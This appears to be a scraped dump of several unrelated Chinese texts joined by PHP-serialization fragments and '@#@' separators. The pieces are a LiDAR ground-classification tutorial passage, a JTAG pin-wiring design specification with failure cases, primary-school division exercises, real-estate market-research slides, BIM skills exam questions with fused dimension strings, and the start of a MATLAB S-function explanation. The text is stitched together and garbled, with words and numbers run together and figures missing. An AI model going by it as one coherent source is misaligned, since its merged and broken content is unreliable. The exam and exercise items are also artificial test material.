@#@这一算法的规则是这样的:
@#@?
@#@在源点类里给每个中心点在其附近找出25个邻近点;@#@?
@#@用邻近点拟合一个平面;@#@?
@#@如果中心点高于或低于平面的值比允许容差值小,它将不被分出;@#@?
@#@计算邻近点高程与给定平面高度间的标准离差值;@#@?
@#@如果中心点低于平面的值大于标准离差值的倍数大于倍数限制值,那么把这个点分离到目标点类中。
@#@窗体如下:
@#@图18低于地表点分类设置窗口设置作用Fromclass源点类,通常是地表点类Toclass目标点类Limit标准离差值倍数限制值Ztolerance高度最小允许差值4.2.4地表点分类地表点分类算法是通过反复建立地表三角网模型的方式分离出地表上的点。
@#@24LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程这一算法在开始时选择一些低点,认为它们是位于地表处。
@#@通过“Maxbuildingsize”参数来控制初始点的选择。
@#@如果建筑物的最大边长是60米,应用程序认为每隔60米至少存在一个位于地表处的点,也就意味着该点就位于地表处。
@#@这一算法应用选中的低点建立初始模型,这一初始模型的三角形大多数低于地面,只有最高点接触到地表。
@#@然后,算法通过反复加入新的激光点开始向上扩建模型,每个加入的点使模型更加贴近地表。
@#@反复参数(Iterationangel和Iterationdistance)决定一个点有多近才能被纳入三角平面,即点之间有多近才能参与建模。
@#@“Iterationangel”参数是一个点和三角形的最近顶点的连线与这个三角形所构成平面的最大夹角值,“Iterationdistance”参数确保当三角形很大时,重复向上构建三角形没有大的跳跃,这有助于把低矮建筑物排除在模型之外。
@#@两个参数的定义具体如图所示:
@#@图19反复参数示意图“Iterationangel”的值越小,点云(激光点的集合)里面起伏的变化(地形里的小变化或者点打在低矮的植被上的点有变化)越小。
@#@在平坦地区使用小值(接近4.0),在山地使用较大值(接近10.0)。
@#@窗体如图所示:
@#@图20地表点分类设置窗口25LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程设置作用Fromclass源点类Toclass目标点类Select初始地面点选择。
@#@当要在已经分好的选中区域里继续分类时使用“Currentgroundpoints”Maxbuildingsize最大建筑物的边长Terrainangle地表所允许的最大坡度Iterationangle一个点和三角形的最近顶点的连线与这个三角形所构成平面的最大夹角值,通常的取值范围在4.0到10.0度。
@#@Iterationdistance在重复构建三角形过程中,点与三角形的最大距离,通常的取值范围在0.5到1.5米。
@#@Reduceiterationanglewhen如果选中,当所加的点构成的三角形的每一条边比“Edgelength”短时,阻止向三角形内部加点。
@#@有助于减少添加不必要的点而不使地表模型点密度变大,进而增加内存的需求量。
@#@Stoptriangulationwhen如果选中,当每条边长度都小于“Edgelength”就退出处理这个三角形。
@#@这样有助于减少添加不必要的点而不使地表模型点密度变大,进而增加内存的需求量。
@#@4.2.5加点到地表加点到地表通常在情况下在地表点分类方法中的“Iterationangle”参数使用较小的值比使用太大的值好,因为添加点到地表类比删除点容易的多。
@#@地表模型可能有少量信息需要局部的再处理,一种处理方法是使用“Addpointtoground”菜单命令。
@#@这使你可以确定原本属于地表而没有被区分出来的点,把这些点加回到地表模型中去,进而再处理周围的其它点。
@#@加点到地表方法的窗体如图所示:
@#@图21加点到地表设置窗体设置参数说明设置作用26LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程Select鼠标点击后,周围的哪个点响应:
@#@Closest离鼠标最近的点.Highest搜索范围内最高的点Lowest搜索范围内最低的点.Within鼠标点击时搜索半径Fromclass选取点的源类Toclass要加入的地表类Reprocess加入点周围需再处理点的区域大小4.2.6根据地表点按高度处理根据地表点按高度处理分类方法是根据点是否落在与地表模型相比较某一高度范围区间中从而判断点类别的方法。
@#@使用这一规则的前提条件是已经成功进行了地表点的分类。
@#@这一算法是用地表处的点建立一个临时的三角形模型,然后其它的点与这个三角形模型的高度值进行比较。
@#@应用这一方法可以把点分成如下几类:
@#@低植被(高度0到1米)电力线(高度5到50米)这样会分离出所有高于地表的点,结果不仅包括打在电线和铁塔上的点,还包括那些打在象树木和房屋建筑的点。
@#@根据地表点按高度处理分类方法窗体如下:
@#@图22根据距地高度进行分类设置窗体各设置值的说明设置作用Groundclass提前分离好的地表点类Fromclass要分离的源点类Toclass目标点类Minheight起始高度范围27LiDAR及其数据后处理技术初级培训教程LiDAR及其数据后处理技术初级培训教程Maxheight终止高度范围4.2.7最小高程法4.2.7最小高程法最小高程分类方法是通过与邻近点中高度最小的点相比较分离出点的方法。
@#@这种方法通常应用在假设搜索区域至少有一个点打在地面上的前提下。
@#@这种方法的算法与“Byheightfromground”算法非常类似,只是不需要事先分离出地表点。
@#@缺点是高度的确定不是十分准确,在有坡度的地方表现的尤为突出。
@#@算法支持两种搜索途径:
@#@?
@#@航空的与给定范围内的最低点比较每个点(中心点)的高度,若差值在给定的范";i:
25;s:
0:
"";i:
26;s:
10864:
"第1页共1页JTAG电路设计规范电路设计规范(V1.0)深圳市金鹏飞科技发展有限公司第2页共2页前言前言本技术设计规范根据国家标准和原邮电部标准以及国际标准IEEESTD1149.1系列标准编制而成。
@#@第3页共3页1、目的1、目的目前,使用的芯片中越来越多的CPU、EPLD、FPGA、DSP以及一些专用芯片(如ATM层专用芯片)等提供符合IEEE1149.1的JTAG测试口,但很多设计人员不了解JTAG,对JTAG口的处理较为随意。
@#@JTAG电路的设计没有引起设计人员足够的重视,是较易被忽视的一个环节,这种忽视给产品埋下了不稳定的隐患,甚至导致了严重的问题(参见附录:
@#@JTAG使用案例),极大地影响了产品的稳定和竞争力的提高。
@#@本规范基于统一设计人员对JTAG电路的认识,尽可能统一公司产品中JTAG的电路设计,提高产品的可靠性、稳定性,增强核心设计的竞争力。
@#@2、范围2、范围本规范适用于产品中所有具有符合IEEEStd1149.1规范设计的JTAG器件的应用设计,可用于指导JTAG的应用设计、开发、中试、生产。
@#@3、定义3、定义JTAG:
@#@JointTestActionGroup,联合测试行动组合;@#@TAP:
@#@TestAccessPort,测试存取通道;@#@TCK:
@#@TestClocKinput,测试时钟输入;@#@TMS:
@#@TestModeSelectinput,测试模式输入,在TCK的上升沿取样,具有内部上拉;@#@TDI:
@#@TestDataInput,测试数据输入,在TCK的上升沿取样,具有内部上拉;@#@TDO:
@#@TestDataOutput,测试数据输出,三态,TCK下降沿时改变并被驱动输出;@#@TRST:
@#@TestReSeTinput,异步复位TAP控制器为Test-Logic-Reset状态,具有内部上拉,低有效,不能用于初始化芯片内系统逻辑。
@#@4、JTAG功能介绍4、JTAG功能介绍符合IEEESTD1149.1的JTAG测试口,是芯片制造商为开发者预留的在线仿真口,同时也是边缘扫描测试技术的一种应用。
@#@边缘扫描测试的基本思想是在靠近器件的每一个输入/输出(I/O)管脚处增加一个移位寄存器单元和锁存器单元,在测试期间,这些寄存器单元用于控制输入管脚的状态,并读出输出管脚的状态,利用这种思想进行测试。
@#@在正常工作期间,这些附加的移位寄存器单元不影响电路的工作。
@#@JTAG内部结构图如图1(黄色的是移位寄存器,天蓝的是锁存寄存器):
@#@图1JTAG内部结构图第4页共4页IEEE1149.1标准将边缘扫描测试的硬件单元分成四类:
@#@测试存取通道(TAP)、TAP控制器、指令寄存器(IR)、测试数据寄存器(TDR)。
@#@其中测试存取通道即是能完成边缘扫描测试的五个专用引出管脚(一般只有四个)即:
@#@测试时钟输入线(TCK)、测试方式选择输入线(TMS)、测试数据输入线(TDI)、测试数据输出线(TDO)、测试复位输入线(/TRST),其中/TRST是可选的,利用这五个管脚就能完成互连及功能测试。
@#@需要注意的是,我们现在采用的某些芯片,JTAG引脚并没有完全按照IEEEStd1149.1设计,如TI公司的DSP:
@#@TMS320C6000的JTAG引脚还多了EMU0和EMU1脚。
@#@另外部分边界扫描器件还有边界扫描功能使能端,如PEB20320的65脚(TEST),AMD的ELANSC400的Y11(BNDSCNEN),该管脚为高时,方可使能边界扫描功能,设计时应通过电阻(1K)下拉,并要设计预留测试点。
@#@对于此类芯片,在使用时一定要认真阅读手册。
@#@JTAG测试口主要有以下几个功能:
@#@?
@#@测试装配在印制板或者其他板面上的集成电路之间的互连性;@#@?
@#@测试集成电路自身功能;@#@?
@#@器件正常工作时观测或修改管脚的状态;@#@5、JTAG引脚接法规定5、JTAG引脚接法规定因JTAG测试口在集成电路正常工作时不但观测而且可以修改管脚的状态,所以如果我们对JTAG引脚不做任何处理的话,由于系统的干扰,易造成芯片不能正常工作,给产品的稳定可靠带来隐患。
@#@故规定如下:
@#@5.1、为了提高系统的可测试性,对芯片JTAG五个引脚的处理禁止拉死(直接与电源或地相连);@#@5.2、禁止按照芯片手册中“whennotbeingused”的情况进行设置;@#@5.3、每个引脚必须引出相应的测试点,以便ICT测试;@#@5.4、对可编程器件(如XILINX的XC4000、XILINX5000系列)的JTAG测试口以及其他多功能器件的JTAG测试口,在设计时,原则上只用作测试用,不要复用为一般I/O,否则会给生产测试带来不便,不得已采用的特殊情况下必须保留测试的功能;@#@5.5、对于JTAG五个引脚的接法规定如下:
@#@1)TDI:
@#@建议上拉。
@#@上拉电阻阻值的选择可以参照具体器件手册,如果器件手册没有指明,一般选取4.7K,注意不能小于1K。
@#@2)TDO:
@#@不用上下拉。
@#@TDO悬空,但必须引出测试点,同时设计中应避免将TDO脚作为I/O脚。
@#@3)TMS:
@#@须上拉。
@#@上拉电阻阻值的选择可以参照具体器件手册,如果器件手册没有指明,一般选取4.7K,注意不能小于1K。
@#@4)TCK:
@#@建议下拉,1K。
@#@首先参照器件手册确定采用上拉或下拉。
@#@若器件手册未给出电路,须下拉,下拉电阻可选取1K。
@#@5)/TRST:
@#@须下拉,1K。
@#@首先参照器件手册确定采用上拉或下拉。
@#@对于器件要求与上电复位引脚相连的情况,应充分考虑其工作的安全性,最好是断开,分别接上/下拉电阻。
@#@对于可编程器件,如FPGA,调试时需要通过JTAG口进行编程,由于/TRST的接法已经固定,需根据实际情况进行上拉、下拉的调试临时配置。
@#@JTAG测试口的初始态是testlogicreset状态,它要进入其他状态必须满足状态机迁移要求,我们的保护就是要防止它随机进入其他状态。
@#@将/TRST下拉,不是强行使TAP测试口进第5页共5页入testlogicreset状态,而是防止他的状态机在上电冲击或运行中从testlogicreset状态迁移出去。
@#@终上所述,JTAG测试引脚接法如图2所示:
@#@图2JTAG测试引脚接法实际应用中上拉电阻的阻值选择应该结合考虑VCC的值,VCC与阻值成正比为好。
@#@6、JTAG菊花链6、JTAG菊花链为了可靠地进行全面的测试,建议每种信号都要引出ICT测试的测试点。
@#@若条件不允许(测试点对信号质量的影响或布线的密集程度等),对于单板上有两个以上JTAG功能(符合IEEEStd1149.1标准)的芯片,即使是不同厂家,不同种类的芯片,也可以通过芯片间JTAG引脚互联,形成菊花链模式,以减少测试点。
@#@如图3所示:
@#@图3建议JTAG菊花链接法由于TDO仅在扫描时才有输出,正常情况下为高阻,所以图2考虑只是在器件的TDI端有内部上拉这个前提下得出的。
@#@对于器件的TDI端无内部上拉的特殊情况,则需要如图4联接:
@#@TDITMSTDOTCLK/TRSTVccVccTDITDOTMSTCK/TRSTTDITDOTMSTCK/TRSTTDITDOTMSTCK/TRSTJU1U2UiVccVcc第6页共6页图4器件TDI无内部上拉时的菊花链联接图对于不同工作电压的JTAG器件在构成菊花链时应注意接口电平的兼容性。
@#@7、附录案例1:
@#@7、附录案例1:
@#@XXX板在上电、拔插,常常出现自检不通过现象,单板8条话路都为故障,此时软件复位不能使单板恢复正常(软复位与硬复位的程序入口是相同的),除非重新上电。
@#@其JTAG接口原始电路如附图1所示:
@#@附图1原始接口电路优化后电路如附图2所示:
@#@附图2优化后接口电路TDITDOTMSTCK/TRSTTDITDOTMSTCK/TRSTTDITDOTMSTCK/TRSTJU1U2UiVccVccVccVccVcc第7页共7页结论:
@#@?
@#@优化后问题消失。
@#@?
@#@/TRST引脚信号不能上拉(上拉可使DSP进入仿真状态),只能接地或悬空。
@#@案例2案例2:
@#@XX上的YY/ZZ板出现大量的运行中死机情况,一框单板运行一天,总会有一两块死机,现象随机出现,有些单板会很快出现死机,有些单板运行几天都不会死机,单板死机后,硬件复位也不能启动,必须重新上电才能重新运行。
@#@此问题导致生产停止发货一个月。
@#@观察YY/ZZ单板JTAG接口图如附图3:
@#@附图3C版本JTAG原图采用是JTAG菊花链模式。
@#@后来发现出问题的都是C版本,B版本不出这个问题,对比电路发现B版本的JTAG接口电路不同;@#@B版本的JTAG接口电路如附图4:
@#@附图4B版本的JTAG接口电路后来将C版本的JTAG接口/TRST与TCLK接地后,问题解决。
@#@TDITMSTDOTCLK/TRSTTDITMSTDOTCLK/TRSTTDITMSTDOTCLK/TRST12345678910HEADERMC68040MC68360MC68360TDITMSTDOTCLK/TRSTMC68040+5V悬空TDITMSTDOTCLK/TRSTMC68360+5V悬空TDITMSTDOTCLK/TRSTMC68360+5V悬空第8页共8页案例3案例3:
@#@PCB投回来后,手工调试2PCS,非常顺利,余下的18PCSPCB板进行小批量生产加工。
@#@可是在调试18PCS单板的过程中,发现有5块单板的860竟然不能转起来,存在着共同的现象是:
@#@有一片数据驱动芯片16244剧烈迅速发烫,而其他相关的芯片均没有异常。
@#@查找相关电路发现与复位有关的是860的JTAG模式的复位脚/TRST与860自身的硬复位脚/HRESET直接相接了,决定还是分开试试,割线、飞线,将/TRST直接接到地上,上电单板正常开工,根本的问题找到了,于是将其他3块如法炮制,问题得到解决了。
@#@附图5860JTAG脚错误接法文章结论:
@#@在新版的860手册中关于TAP(JTAG)这部分是这样说的,如果TAP(TESTACCESSPORT)低功耗方式都不使用,把/TRST接到地上;@#@如果TAP或者低功耗使用的话,/TRST接到/PORESET上。
@#@案例4:
@#@案例4:
@#@某产品XX板和YY板上,均使用了带JTAG口的芯片。
@#@XX的主CPU使用的是Motorola的DSP56303,YY的主CPU使用的是Motorola的MPC860。
@#@使用过程中CPU均出现了死机的现象。
@#@分析原因,认为是DSP56303内核提供一个用于用户在线测试的端口TAP,作为DSP的JTAG,它的引脚有:
@#@TCK、TMS、TDI、TDO、TRST、/DE、/RST。
@#@当单板在自运转过程中因某种原因使得/DE被置为了某个值,而TRST没有来临,单板就进入了DEBUG模式,此时的CPU已经不能工作了,在单板上的表现就是CPU死机。
@#@MPC860的原因是/TRST与/HRESET接到一起。
@#@解决方法:
@#@将DSP56303的/TRST与/RST接到一起。
@#@MPC860的/TRST与/PORESET相连。
@#@TDITMSTDOTCLK/TRST+3.3V/HRESET/HRESET+3.3V1K1K1K1K";i:
27;s:
7202:
"小学数学二年级下册《表内除法
(二)》练习题(打了)@#@.1.口算.@#@ 5×@#@7= 9÷@#@3= 6÷@#@3= 6×@#@6= 9+35=@#@ 3×@#@4= 5×@#@6= 8×@#@6= 48-3= 78+9=@#@ 37+6= 72÷@#@8= 63÷@#@7= 18÷@#@3= 2×@#@35=@#@ 6+40= 5+48= 12×@#@3= 36÷@#@9= 8+48=@#@ 2.填空@#@
(1)9的3倍是( ),9是3的( )倍.@#@
(2)两个因数都是8,积是( )被除数和除数同样多,商是( ).@#@(3)按要求写算式.8、9、72@#@ ( )×@#@( )=( )( )÷@#@( )=( )@#@ ( )×@#@( )=( )( )÷@#@( )=( )8@#@ 3.直接写出得数.@#@3×@#@4÷@#@6= 5×@#@9+35= 54÷@#@6÷@#@3= 72÷@#@(23-15)= @#@4×@#@8-16= 6×@#@6÷@#@4=@#@ 4.列式计算.@#@
(1)5个8相加是多少?
@#@@#@
(2)把63平均分成7份,每份是多少?
@#@@#@ (3)32里面有几个8?
@#@@#@ (4)把40按照每5个一份来分,可以分成多少份?
@#@@#@ (5)6的8倍是多少?
@#@@#@(6)54是9的多少倍?
@#@@#@(7)一个因数是9,另一个因数是8,积是多少?
@#@@#@(8)被除数是36,除数是9,商是多少?
@#@@#@5.解答应用题.@#@(l)有32个同学排队,每4个同学站一排,可以站几排?
@#@@#@
(2)小红买了5本书,每本书6元.她一共用了多少元?
@#@@#@(3)老师买了48根跳绳,平均分给6个班,每个班分几根?
@#@@#@(4)生物小组有6只黑兔,18只白兔.白兔的只数是黑兔的几倍?
@#@@#@(5)田径队的人数是舞蹈队的4倍.舞蹈队有9人,田径队有多少人?
@#@@#@(6)体育室里有一筐皮球,每班发给6个.5个班领走后,这筐皮球减少了多少个?
@#@@#@(7)红花的朵数是黄花的3倍.红花有18朵,黄花有多少朵?
@#@@#@(8)一、二年级有6个班,每个班有4人参加舞蹈组,一共有多少人?
@#@后来,舞蹈组增加了10人,现在舞蹈组有多少人?
@#@@#@(9)刘红要做72面小旗,每天做8面,多少天可完成?
@#@如果每天做9面几天可完成?
@#@@#@(10)有30米布,做床单用了12米,还剩下几米?
@#@做一套衣服要用3米布,剩下的布能做几套衣服.@#@ @#@ 二年级表内除法练习题2@#@教材基础知识针对性训练与基本能力巩固提高@#@1、把6朵花平均分给3个小朋友。
@#@哪种分法对?
@#@在对的里画“√”。
@#@@#@2、圈一圈,填一填。
@#@@#@
(1)@#@一共有()个,每()个一份,可以分成()份。
@#@@#@算式是()。
@#@@#@
(2)@#@一共有()个,平均分成()份,每份是有()个。
@#@@#@算式是()。
@#@@#@3、算式24÷@#@3=8,读作(),除数是(),被除数是(),商是()。
@#@@#@4、计算20÷@#@5=4时,想口诀:
@#@(),商是()。
@#@@#@5、把15个平均分成3份,每份是()个。
@#@@#@6、一本要2元,10元钱可以买()本。
@#@@#@7、在( )里填上“>”、“<”或“=”。
@#@@#@ 5( )20÷@#@5 @#@ @#@ @#@ @#@30÷@#@6( )6 @#@ @#@ @#@ @#@40( )6×@#@5@#@ 12÷@#@3( )5 @#@ @#@ @#@ @#@6( )36÷@#@6 @#@ @#@20( )4×@#@5@#@8、在里填上+、-、×@#@或÷@#@。
@#@@#@246=466=1253=15305=25@#@255=30164=471=721>2@#@9、根据口诀“四八三十二”分别写出两道乘法算式和除法算式。
@#@@#@()÷@#@()=()()÷@#@()=()@#@()×@#@()=()()×@#@()=()@#@二、判断题。
@#@@#@1、有24块,每6块装一袋,可以装4袋。
@#@()@#@2、“8÷@#@2=4”读作:
@#@8除2等于4。
@#@()@#@3、△△△△△△△△△,列式:
@#@6÷@#@3=2。
@#@()@#@4、把15平均分成5份,每份是4。
@#@()@#@5、一份盒饭要5元,10元可以买2份。
@#@()@#@6、把18个分成9份,每份有2个。
@#@()@#@7、姐姐有16本作业本,妹妹有8本作业本,姐姐给妹妹4本后,两人的作业本同样多。
@#@()@#@三、我会算。
@#@@#@1、除数是5,被除数是25,商是多少?
@#@2、20里面有几个4?
@#@@#@3、把30平均分成6份,每份是多少?
@#@4、6的5倍是多少?
@#@@#@四、看图写算式。
@#@@#@1、@#@()×@#@()=()@#@()÷@#@()=()()÷@#@()=()@#@2、30米@#@@#@?
@#@米?
@#@米?
@#@米?
@#@米?
@#@米@#@()()=()@#@每筐装4棵。
@#@@#@五、用数学。
@#@@#@1、需要几个筐?
@#@@#@24棵@#@2、
(1)有8只兔子,平均装在2个笼里,每个笼装几只?
@#@@#@@#@
(2)有8只兔子,装在2个笼里,一个装5只,剩下另一个装几只?
@#@@#@我们用了4张纸,每张纸做6个风车。
@#@@#@3、把这些风车平均分给8个小@#@朋友,每个小朋友分几个?
@#@@#@有8个男生,@#@女生的人数是男生的3倍。
@#@@#@4、@#@@#@每4个女生一组,可以分成几组?
@#@@#@把这4束花平均分给6个同学。
@#@@#@每束花有3朵。
@#@@#@5、@#@每个同学分几朵?
@#@@#@是笔记本的3倍@#@8元@#@2元@#@6元@#@?
@#@元@#@6、@#@
(1)3把剪刀12元,平均每把剪刀多少元钱?
@#@@#@
(2)买3顶帽子的钱,可以买几本练习本?
@#@@#@(3)请你提出用除法计算的数学问题,并解答。
@#@@#@探究拓展能力强化训练与应用综合能力的养成@#@1、(探究题)有一串珠子,按照下面的顺序依次排列,第十九个珠子是()颜色。
@#@@#@2、(信息题) 35名同学在操场上做游戏,可以每4个人分一组,也可以每5个人分一组,怎样安排没有剩余?
@#@@#@3、(创新题) 12个小朋友进行乒乓球比赛,每3人发给4个乒乓球,一共需要多少个乒乓球?
@#@@#@4、(信息题)一天中午正在下着大雨,明明问菲菲:
@#@“再过36小时太阳会不会出来?
@#@’’菲菲说:
@#@“那可说不定。
@#@”明明说:
@#@“我可以肯定,再过36个小时太阳一定不会出来。
@#@”小朋友,你们认为谁说得对?
@#@为什么?
@#@@#@";i:
28;s:
6776:
"如何进行市场调研版权声明:
@#@本文仅供客户内部使用,版权归世联地产顾问(中国)有限公司所有,未经世联地产顾问(中国)有限公司书面许可,不得擅自向其它任何机构和个人传阅、引用、复制和发布报告中的部分或全部内容。
@#@:
@#@2005-GW01-12005.7.12本报告是严格保密的。
@#@2目录一、关于市场调研的几个基本观点二、市场调研工作阶段划分及其工作内容三、市调方法及相关工具表格等四、市场调研的资料整理、分析五、市调可能遇到的问题本报告是严格保密的。
@#@3关于市场调研的几个基本观点?
@#@以事实为基础,“事实是友善的”(麦肯锡)?
@#@海量的信息VS有限的市调时间以假设为导向?
@#@不同工作模块有不同的市调内容?
@#@定性与定量的结合?
@#@客户的疑问:
@#@市调时间这么短,市调质量有保证么?
@#@本报告是严格保密的。
@#@4市场调研工作阶段划分及其工作内容市调前项目小组交底会制订市调计划(重点)首次沟通会PPT(重点)出差前的准备市调中市调计划的执行根据实际情况调整计划市调后资料整理本报告是严格保密的。
@#@5市调前的工作内容?
@#@项目小组交底会?
@#@制订市调计划收集相关资料(客户部、互联网、以往的报告、相关人员等)?
@#@出差前的准备本报告是严格保密的。
@#@6市调工作内容及方法?
@#@地块查勘?
@#@城市(区域)经济背景?
@#@城市(区域)规划?
@#@房地产市场?
@#@消费者本报告是严格保密的。
@#@7地块查勘?
@#@项目位置城市位置图、区域位置图调研方法:
@#@开发商介绍、现有地块资料?
@#@项目四至调研方法:
@#@红线图、现场查勘?
@#@项目内部环境建筑物、地形、水体、植物、空气质量、噪音、其它(如文物古迹等)调研方法:
@#@文字资料、现场查勘、访谈(开发商或政府部门)?
@#@项目周边环境建筑物、道路交通、景观资源、公共设施(广场、公园、商场、学校、政府机关、变电站、垃圾站等)、企业、人口等调研方法:
@#@文字资料、现场查勘、访谈(开发商或政府部门)本报告是严格保密的。
@#@8城市(区域)经济背景?
@#@经济发展规模、趋势、速度历年GDP、人均GDP?
@#@经济结构产业结构和主导产业?
@#@固定资产投资?
@#@外商投资情况?
@#@居民收入水平、消费结构和消费水平人均可支配收入、人均消费支出及其构成、主流消费群体?
@#@城市中心化程度与周边城市的相对关系调研方法:
@#@查阅统计年鉴、访谈(统计局及相关部门)本报告是严格保密的。
@#@9城市(区域)规划?
@#@城市总体规划了解城市格局、发展方向,重点了解项目所在区域在城市中所承担的功能、相对地位、发展前景、与其它区域的竞争关系。
@#@?
@#@区域规划政府对本区域的规划设想及建设计划,重点了解项目周边的规划情况,主要包括:
@#@道路交通、公共设施、产业布局等。
@#@?
@#@重大建设项目对区域的发展有重要影响(事实上的、心理上的)调研方法:
@#@收集规划文本、图集,访谈规划局、五年计划本报告是严格保密的。
@#@10房地产市场市场三要素:
@#@需求、供给、价格房地产市场宏观数据:
@#@(分区数据;@#@分物业类型;@#@分价格区间)施工面积新开工面积竣工面积销售面积空置面积二手房交易数据市调方法:
@#@查阅(房地产)统计年鉴、房管局(房地产交易中心)网站、当地房地产期刊杂志、访谈房管局或房地产协会等部门本报告是严格保密的。
@#@11房地产市场?
@#@房地产总体格局(片区划分)?
@#@各片区典型楼盘?
@#@项目所在区域楼盘?
@#@竞争楼盘市调方法:
@#@实地调查、收集网上资料、访谈专业人士问题:
@#@是否要把整个城市的楼盘都调研完?
@#@本报告是严格保密的。
@#@12楼盘调查内容基本信息占地面积、建筑面积、容积率、配套设施(商业、会所、幼儿园、学校)、开发分期等。
@#@规划设计总体布局、物业类型、户型配比、总户数、车位数、景观、创新点等。
@#@销售情况认筹时间、开盘时间、销售价格(对应交楼标准)、销售速度、销售率、客户群、主要卖点、劣势。
@#@营销推广售楼处、样板房、现场展示、营销渠道、促销措施。
@#@市调方法:
@#@实地调研、收集楼书(报纸广告)、访谈销售代表本报告是严格保密的。
@#@13消费者调研目的?
@#@了解消费者的需求特征(购房目的,关注因素如地段、物业类型、户型、面积、配套设施、园林景观、价格等,生活方式AIO等)?
@#@了解消费行为(购买行为、消费观念、习惯、态度等)?
@#@了解消费者对本项目(区域)的看法本报告是严格保密的。
@#@14消费者调研方法问卷调查?
@#@设定调查计划(调查目的、问卷数量、发放时间、地点、途径、目标人群等)?
@#@问卷设计?
@#@问卷发放、回收(渠道:
@#@开发商协助、临时雇佣学生、当地市调公司)?
@#@数据录入与分析(spss软件)本报告是严格保密的。
@#@15深度访谈访谈人群政府官员普通公务员企业管理者企业技术人员私营企业主个体工商户律师、医生、教师房地产专业人士(开发商、销售经理、中介公司)媒体记者(房地产版)直邮杂志主编访谈提纲讨论:
@#@如何联系访谈对象?
@#@MicrosoftWord文档本报告是严格保密的。
@#@16市调相关工具表格(见顾问平台)本报告是严格保密的。
@#@17市调资料整理、分析项目地块分析城市经济、规划分析房地产市场分析竞争分析目标客户分析访谈资料整理(提炼观点,融合在以上各个方面)本报告是严格保密的。
@#@18对调研工作的要求1、每天调研后作小结、讨论4、调研结束后基本形成大思路2、及时整理、录入资料(日事日清)3、补充调研,根据新假设调整调研内容本报告是严格保密的。
@#@19市调可能遇到的问题政府部门不合作怎么办?
@#@开发商缺乏当地资源怎么办?
@#@已入伙楼盘如何调研?
@#@销售代表的话是否可信?
@#@本报告是严格保密的。
@#@20补充讨论1、市调数据的统计分析?
@#@如何在报告中运用市调成果?
@#@2、访谈技巧?
@#@(筛选客户、沟通等)3、政府各局、各科室的职能?
@#@4、不同阶段的市调重点?
@#@本报告是严格保密的。
@#@21THANKYOU";i:
29;s:
4150:
"900090009000900090009000900090009000900090009000900090009000900090009000900090009000900090009000900090009000900090009000900090009000900090009000900090009000450003600090009000900090009000450003600072000450004500072000第页22、按照下图所示,新建项目文件,创建如下墙类型,并将其命名为“等级考试-外墙”。
@#@之后,以标高1到标高2为墙高,创建半径为5000mm(以墙核心层内侧为基准)的圆形墙体。
@#@最终结果以“墙体”为文件名保存在考生文件夹中。
@#@(20分)(20分)共8页第三期BIM技能一级考试试题第三期BIM技能一级考试试题300200800第页3第三期BIM技能一级考试试题第三期BIM技能一级考试试题共8页3、根据下图中给定的投影尺寸,创建形体体量模型,基础底标高为-2.1米,设置该模型材质为混凝土。
@#@请将模型体积用“模型体积”为文件名以文本格式保存在考生文件夹中,模型文件以“杯形基础”为文件名保存到考生文件夹中。
@#@(20分)(20分)俯视图1:
@#@150113701000370140018001400460010003706003701400100010003400223030301000140014001-1剖面图1:
@#@1501400400100040018004600106060040020040016001400140014002-2剖面图1:
@#@150600400100014003400660600400200400160010001000100040030301000303030第页55、参照下面给出的平面图、立面图,在考生文件夹中给出的“三层建筑模板”文件的基础上,创建三层建筑模型,具体要求如下:
@#@(40分)
(1)基本建模(10分)1)创建墙体模型,其中内墙厚度均为100mm,外墙厚度均为240mm。
@#@2)建立各层楼板模型,楼板厚度均为150mm,顶部与各层标高平齐。
@#@楼板在楼梯间处应开洞,并按图中尺寸创建并放置楼梯模型。
@#@楼梯扶手和梯井尺寸取适当值即可。
@#@3)建立屋顶模型。
@#@屋顶为平屋顶,厚度为200mm,出檐取240mm。
@#@4)按平面图要求创建房间,并标注房间名称。
@#@5)三层与二层的平面布置与尺寸完全一样。
@#@
(2)放置门窗及家具(15分)1)按平、立面要求,布置内外门窗和家具。
@#@其中外墙门窗布置位置需精确,内部门窗对位置不作精确要求。
@#@家具布置位置参考图中取适当位置即可。
@#@2)门构件集共有4种型号:
@#@M1、M2、M3、M4,尺寸分别为:
@#@900x2000、1500x2100、1500x2000、2400x2100。
@#@同样的,窗构件集共有3种型号:
@#@C1、C2、C3,尺寸分别为:
@#@1200x1500、1500x1500、1000x1200。
@#@3)家具构件和门构件使用模板文件中给出的构件集即可,不要载入和应用新的构件集。
@#@(3)创建视图与明细表(15分)1)新建平面视图,并命名为“首层房间布置图”。
@#@该视图只显示墙体、门窗、房间和房间名称。
@#@视图中房间需着色,着色颜色自行取色即可。
@#@同时给出房间图例。
@#@2)创建门、窗明细表,门、窗明细表均应包含构件集类型、型号、高度及合计字段。
@#@明细表按构件集类型统计个数。
@#@3)建筑各层和屋顶标高处均应有对应的平面视图。
@#@(4)最后,请将模型文件以“三层建筑”为文件名保存到考生文件夹中。
@#@首层平面图1:
@#@100第三期BIM技能一级考试试题第三期BIM技能一级考试试题共8页休息室卧室卫生间楼梯间书房车库会客厅储物间C1C1C1C1C2C2C3C2C2M1M1M1M1M1M2M3M1M1M4510030005100900195012001950300017001200220090018001350120016501200900180024001800180063006000143409001650150016509001500900750090048003300210015002100900150090021009001500900550100055057003300210033002100167407500上22223011?
@#@C1C1C1C1C2C2C3C2C2M1M1M1M1M1M2M1C2C2C251003000510090019501200195030001700120022009001800135012001650120090021501500235018006300600014340900165015001650900150090090048003300210015002100900150090021003300550100055057003300540021001674075001050150023301500112017220148201410036036016500360360?
@#@223016500165006000950150100150100150150100?
@#@1680?
@#@162060001680?
@#@162033009001500900300200?
@#@1080?
@#@16203300900150090060001111";i:
30;s:
18570:
"S函数(systemfunction)是模块的核心,是完成功能实现的关键。
@#@S函数的编写可以使用多种程序语言,其中M语言是最常用的,同时也是最简单的。
@#@在运用M语言进行s函数编写的时候,可以调用MATLAB提供的函数,简化了开发过程。
@#@但是如果要与其他进程通讯或驱动外部硬件接口,则要调用API函数,这样就需要用C语言来开发S函数。
@#@较M语言的开发,C语言开发S函数更具有灵活性,但是相对复杂一些。
@#@C语言写S函数,顾名思义,运用C语言语法,依照S函数格式要求,最后在MATLAB中MEX命令编译,编译成功既得函数。
@#@S函数格式可简单看成:
@#@初始化、采样时间设定、系统输出、结束四个部分。
@#@对应的函数分别为mdlInitializeSizes()、mdlInitializeSampleTimes()、mdlOutputs()、mdlTerminate()。
